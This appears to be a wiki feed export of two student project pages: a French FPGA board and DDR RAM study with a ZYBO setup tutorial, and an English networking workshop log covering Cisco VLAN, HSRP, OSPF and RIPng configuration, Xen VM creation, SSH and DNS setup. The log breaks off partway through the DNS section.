La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 &amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt; et à la ligne 400: &amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=G1_:_Advanced_Networking_Protocol_Workshop&amp;diff=27255</id>
		<title>G1 : Advanced Networking Protocol Workshop</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=G1_:_Advanced_Networking_Protocol_Workshop&amp;diff=27255"/>
				<updated>2016-02-16T16:17:28Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* VLAN */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&lt;br /&gt;
The main aim of this workshop is to realize a redundant network infrastructure to ensure maximum availability in case of a device or path failure. The architecture of the network is shown in the diagram given below. &lt;br /&gt;
[[Fichier:Network architecture.PNG |center| 750px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Scope statement for the specific task ==&lt;br /&gt;
=== Task overview ===&lt;br /&gt;
We were assigned to configure one of the L3 switches to enable routing protocol(for &amp;lt;code&amp;gt;IPv4&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;IPv6&amp;lt;/code&amp;gt;) and also to ensure layer 3 redundancy with &amp;lt;abbr title=&amp;quot;Hot Standby Router Protocol&amp;quot;&amp;gt;HSRP&amp;lt;/abbr&amp;gt;. &lt;br /&gt;
=== Materials used for the specific task ===&lt;br /&gt;
*Layer-3 Switch : Cisco Catalyst 3560-E&lt;br /&gt;
*PC with serial connection&lt;br /&gt;
&lt;br /&gt;
== Workshop progress ==&lt;br /&gt;
=== Week 1 (28/09/2015) ===&lt;br /&gt;
During this week, we colloborated with group 2 (Sandra &amp;amp; Elise) to create a list of VLANs and attribute IP address to each of them. &lt;br /&gt;
==== VLAN ====&lt;br /&gt;
Then, we configured the router to create the vlan database (vlan 11 - vlan 20).&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
vlan 11&lt;br /&gt;
name vlan11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== 802.1Q encapsulation ====&lt;br /&gt;
To enable inter-VLAN communication, we had to configure a port (which is connected to switch) in trunk mode and enable encapsulation using the following commands :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
interface Gi1/1/2&lt;br /&gt;
switchport trunk encapsulation&lt;br /&gt;
switchport mode trunk&lt;br /&gt;
switchport trunk allowed vlan 1,11-20,110,130&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== HSRP (ipv4 + ipv6)====&lt;br /&gt;
To enable routing in the L3 switch:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
ip routing&lt;br /&gt;
ipv6 unicast-routing&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Configuration of HSRP for ipv4 (for L3 redundancy) :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
interface vlan 11&lt;br /&gt;
ip address 172.20.11.253 255.255.255.0&lt;br /&gt;
standby version 2&lt;br /&gt;
standby 1 priority 100&lt;br /&gt;
standby 1 preempt&lt;br /&gt;
standby 1 timers 5 15&lt;br /&gt;
standby 1 ip 172.20.11.254&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Configuration of HSRP for ipv6 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
int vlan11&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference high&lt;br /&gt;
 standby 101 ipv6 autoconfig&lt;br /&gt;
 standby 101 priority 100&lt;br /&gt;
 standby 101 preempt&lt;br /&gt;
 standby 101 timers 5 15&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== OSPF ====&lt;br /&gt;
To receive and share the ipv4 routing table with the adjacent routers, we configured the OSPF protocole. &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
router ospf 1&lt;br /&gt;
 router-id 192.168.222.2&lt;br /&gt;
 summary-address 172.20.0.0 255.255.0.0&lt;br /&gt;
 summary-address 193.48.57.160 255.255.255.240&lt;br /&gt;
 network 192.168.222.0 0.0.0.7 area 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== RIP-ng ====&lt;br /&gt;
On the other hand, we also configured RIP-ng so that the ipv6 routing table could be shared with adjacent routers.&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
ipv6 router rip tpima5sc&lt;br /&gt;
 redistribute connected metric 1&lt;br /&gt;
 redistribute rip 1 metric 1&lt;br /&gt;
 redistribute static metric 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
int vlan130&lt;br /&gt;
 ipv6 rip tpima5sc enable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
conf files :&lt;br /&gt;
*[[Media:Conf_ospf_hsrp_ipv4.txt | Conf_ospf_hsrp_ipv4.txt]]&lt;br /&gt;
*[[Media:Conf_hsrp_ipv6.txt | Conf_hsrp_ipv6.txt]]&lt;br /&gt;
&lt;br /&gt;
=== Week 2 (05/10/2015) ===&lt;br /&gt;
To create a Xen VM, we started with connecting to the cordouan machine (using ssh):&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Configuration of XEN VM&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=WESTMALLE --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.174 \&lt;br /&gt;
--nameserver=193.48.57.48 --dir=/usr/local/xen --genpass=0 --password=pasglop --dist=stable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
To start the VM:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
xl create /etc/xen/WESTMALLE.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
We modified the size of the memory and network connection (bridge networking) for the VM :[[Fichier:WESTMALLEcfg.txt]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to Xen VM using console mode, we used the command:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
xl console WESTMALLE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Week 3 (12/10/2015) ===&lt;br /&gt;
This week we started with installing few important packages in the Xen virtual server such as &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;fail2ban&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bind9&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;dnsutils&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;openssh-server&amp;lt;/code&amp;gt;. To secure the ssh server, we changed the configuration line (as shown below) of the file /etc/ssh/sshd_config:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
Port 619&lt;br /&gt;
PermitRootLogin no-password&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
To enable root login, we had to generate an asymmetric key (private and public) where the public key will be stored in the server while the user who wishes to connect to the server must have the private key. To generate the asymmetric key, we used the command:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
ssh-keygen -b 2048&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Then, the public key had to be stored in a file called authorized_keys2 (for &amp;lt;code&amp;gt;SSHv2&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
After that, we continued to configure the DNS server. First of all, we bought a domain name from one of the domain name registrars, [https://www.gandi.net Gandi]. Since we wanted to host our own DNS server, we pointed the primary DNS field to our computer (ns1.troisiemesexe.lol). The secondary DNS field was filled with Gandi’s secondary &amp;lt;abbr title=&amp;quot;Name Server&amp;quot;&amp;gt;NS&amp;lt;/abbr&amp;gt;  server. It was time we configured our own DNS server.&lt;br /&gt;
&lt;br /&gt;
/etc/hosts:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
127.0.0.1       localhost&lt;br /&gt;
193.48.57.161   westmalle.troisiemesexe.lol  westmalle&lt;br /&gt;
193.48.57.161   ns1.troisiemesexe.lol        ns1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
/etc/host.conf:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
order hosts, bind&lt;br /&gt;
multi on&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
/etc/resolv.conf:&lt;br /&gt;
{| width=10% &lt;br /&gt;
